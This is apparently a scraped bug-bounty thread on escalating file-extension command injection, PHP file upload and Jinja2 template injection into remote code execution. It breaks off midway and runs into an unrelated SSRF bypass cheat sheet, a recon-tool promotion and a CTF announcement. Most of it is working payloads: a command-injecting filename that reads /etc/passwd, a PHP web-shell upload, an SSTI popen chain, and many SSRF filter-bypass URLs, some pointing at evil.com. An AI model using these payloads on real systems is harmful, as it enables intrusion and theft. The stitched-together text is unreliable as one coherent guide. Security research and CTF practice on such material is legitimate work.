From Upload to Shell: Advanced RCE Techniques via File Extensions, PHP Uploads, and SSTI Exploitation
[1/25]
[Advanced Thread]
How I escalated three common web app features into full Remote Code Execution:
https://t.co/DmYCM400sz injection via filename extension
2.Arbitrary PHP file upload
3.SSTI with Jinja2 using subclass traversal
All exploitable in the wild. Full payloads included.
#RCE #BugBounty #SSTI #InfoSec #CTF
⸻
[2/25]
Let’s start with the most overlooked injection point in web apps:
The file extension.
Seems harmless, right? But here’s how I used it to inject shell commands in a real-world PHP app.
⸻
[3/25]
Vulnerable PHP Logic:
$ext = pathinfo($file["name"], PATHINFO_EXTENSION);
$filepath = $base_dir . uniqid() . '.' . $ext;
$command = "ffprobe -i \"$filepath\" ...";
shell_exec($command);
��pathinfo() pulls the extension from the uploaded filename
•No sanitization
•Extension is passed directly to the shell via shell_exec()
⸻
[4/25]
Since pathinfo(..., PATHINFO_EXTENSION) simply extracts everything after the last dot, an attacker can control the “extension”.
So we upload a file named:
02.mp3\";id;#
Which becomes:
ffprobe -i "/uploads/abc.mp3\";id;#"
RCE triggered. Output returned.
⸻
[5/25]
Now let’s get serious.
We want to exfiltrate /etc/passwd, but characters like / and . can break the extension field.
Let’s bypass using PHP’s chr() function and inline code execution with php -r.
⸻
[6/25]
Payload:
$sl=chr(47);$dot=chr(46);
echo shell_exec("cat ${sl}etc${sl}passwd");
Inject it:
02.mp3\";php -r '$sl=chr(47);$dot=chr(46);echo shell_exec("cat ${sl}etc${sl}passwd");';#
Shell-safe, obfuscated, and effective.
⸻
[7/25]
Next up: a classic, but still alive in many environments…
Arbitrary PHP File Upload
Most commonly seen in legacy CMS, admin tools, or DIY panels.
Still being exploited today.
⸻
[8/25]
The setup:
•App accepts image uploads to /uploads/images/
•No MIME type check
•No filename sanitization
•Folder has execution permissions
Perfect conditions for an attacker.
⸻
[9/25]
HTTP Upload Request:
POST /upload HTTP/1.1
Content-Type: multipart/form-data
--boundary
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: image/jpeg
<?php system("cat /etc/passwd"); ?>
--boundary--
⸻
[10/25]
Response:
HTTP/1.1 200 OK
...
Image path: /uploads/images/rce.php
When accessed in the browser:
GET /uploads/images/rce.php
PHP is interpreted. Command executed. Full contents of /etc/passwd returned.
⸻
[11/25]
This vulnerability is devastatingly simple yet common.
It enables:
•Code execution
•Reverse shells
•Lateral movement
•Internal pivoting
•Persistent backdoors
Let’s elevate it further.
⸻
[12/25]
The final case:
Server-Side Template Injection (SSTI)
— aka “RCE as a feature”
It’s what happens when template engines execute unsanitized user input as code.
⸻
[13/25]
Context:
A web app allows employees to customize emails using templates.
Under the hood: Jinja2 (Python-based).
Vulnerable field:
Hello {{ https://t.co/Ecmv6ScdPM }}
What if I replace https://t.co/Ecmv6ScdPM with a payload?
⸻
[14/25]
Start with something basic:
{{ 7*7 }}
Output:
Hello 49
You’re now executing code inside the template engine.
Let’s go deeper: spawn a system command.
⸻
[15/25]
Full SSTI Exploit Request:
POST /emails HTTP/1.1
Host: https://t.co/6EvyQYfo1u
Content-Type: application/x-www-form-urlencoded
[email protected]&
content=Hello+{{https://t.co/Ecmv6ScdPM}}+
{% for x in ().__class__.__base__.__subclasses__() %}
{% if 'warning' in x.__name__ %}
{{ x()._module.__builtins__['__import__']('os').popen('whoami').read() }}
{% endif %}
{% endfor %}&
action=preview
Basic SSRF v1
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://0.0.0.0:80
http://0.0.0.0:443
http://0.0.0.0:22
Basic SSRF — Alternative version
http://localhost:80
http://localhost:443
http://localhost:22
Advanced exploit using a redirection
1. Create a subdomain pointing to 192.168.0.1 with DNS A record e.g:https://t.co/crNhVGeq2L
2. Launch the SSRF: https://t.co/BVD4SyYuE7
https://t.co/tnQzP1TPbP will fetch YOUR_SERVER_IP which will redirect to 192.168.0.1
Advanced exploit using type=url
Change "type=file" to "type=url"
Paste URL in text field and hit enter
Using this vulnerability users can upload images from any image URL = trigger an SSRF
Bypassing filters
Bypass using HTTPS
https://127.0.0.1/
https://localhost/
Bypass localhost with [::]
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:22/ SSH
http://[::]:3128/ Squidhttp://0000::1:80/
http://0000::1:25/ SMTP
http://0000::1:22/ SSH
http://0000::1:3128/ Squid
Bypass localhost with a domain redirection
https://t.co/N5Z8Nl8Air
https://t.co/0WrWEnEWGJ
https://t.co/rScdlsoMNq
https://t.co/VtpwfSlfA0 redirect to 127.0.0.6 == localhost
https://t.co/2ov4WGDQI9 redirect to 127.0.0.2 == localhost
The service https://t.co/X5j9RVEelx is awesome for that, it will convert any ip address as a dns.
https://t.co/WC0M7rODs3 maps <anything>.<IP Address>.nip.io to the corresponding <IP Address>, even https://t.co/54M262E4d3 maps to 127.0.0.1
Bypass localhost with CIDR
It’s a /8
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0
Bypass using a decimal IP location
http://0177.0.0.1/
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1
Bypass using IPv6/IPv4 Address Embedding
IPv6/IPv4 Address Embedding
http://[0:0:0:0:0:ffff:127.0.0.1]
Bypass using malformed urls
localhost:+11211aaa
localhost:00011211aaaa
Bypass using rare address
You can short-hand IP addresses by dropping the zeros
http://0/
http://127.1
http://127.0.1
Bypass using bash variables
(curl only)
curl -v "http://evil$google.com"
$google = ""
Bypass using tricks combination
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib2 : 1.1.1.1
requests + browsers : 2.2.2.2
urllib : 3.3.3.3
Bypass filter_var() php function
0://evil.com:80;https://t.co/sOlLJy1179
Bypass against a weak parser
by Orange Tsai (Blackhat A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf)
http://127.1.1.1:80\@127.2.2.2:80/
http://127.1.1.1:80\@@127.2.2.2:80/
http://127.1.1.1:80:\@@127.2.2.2:80/
http://127.1.1.1:80#\@127.2.2.2:80/
SSRF exploitation via URL Scheme
File
Allows an attacker to fetch the content of a file on the server
file://path/to/file
file:///etc/passwd
file://\/\/etc/passwd
ssrf.php?url=file:///etc/passwd
HTTP
Allows an attacker to fetch any content from the web, it can also be used to scan ports.
ssrf.php?url=http://127.0.0.1:22
ssrf.php?url=http://127.0.0.1:80
ssrf.php?url=http://127.0.0.1:443
The following URL scheme can be used to probe the network
Dict
The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol:
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/
SFTP
A network protocol used for secure file transfer over secure shell
ssrf.php?url=sftp://evil.com:11111/
TFTP
Trivial File Transfer Protocol, works over UDP
ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET
LDAP
Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information service.
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
#ssrf #BugBounty #bugbountytip
🐀 Recon is 8 tools in a trench coat, and you rewire them by hand every single time.
subScraper is the trench coat. One run:
→ Subfinder, Amass, Assetfinder, Findomain, Sublist3r — enumeration
→ httpx probing + screenshots
→ ffuf fuzzing
→ nuclei + nikto scanning
→ live web UI so you watch it work
→ resumable — kill it, re-run, it picks up where it stopped
Readable reports at the end. Add your API keys and the findings jump.
Free. Open source. No email wall.
Straight with you: it does the boring part. It does NOT find the bug for you — that's still your job. And point it at authorized, in-scope targets only.
↓
https://t.co/gpt9ovEdzg
Much love <3 #bugbounty #recon #infosec #appsec
Coming soon... a new #CTF. 🕹️
Whether you're visiting us at Noob Village during #DEFCON or participating from home, you'll be able to take on the challenge.
Think you've got what it takes? Register now and start hacking later this week!
🔗 https://t.co/CEdH5ck9ys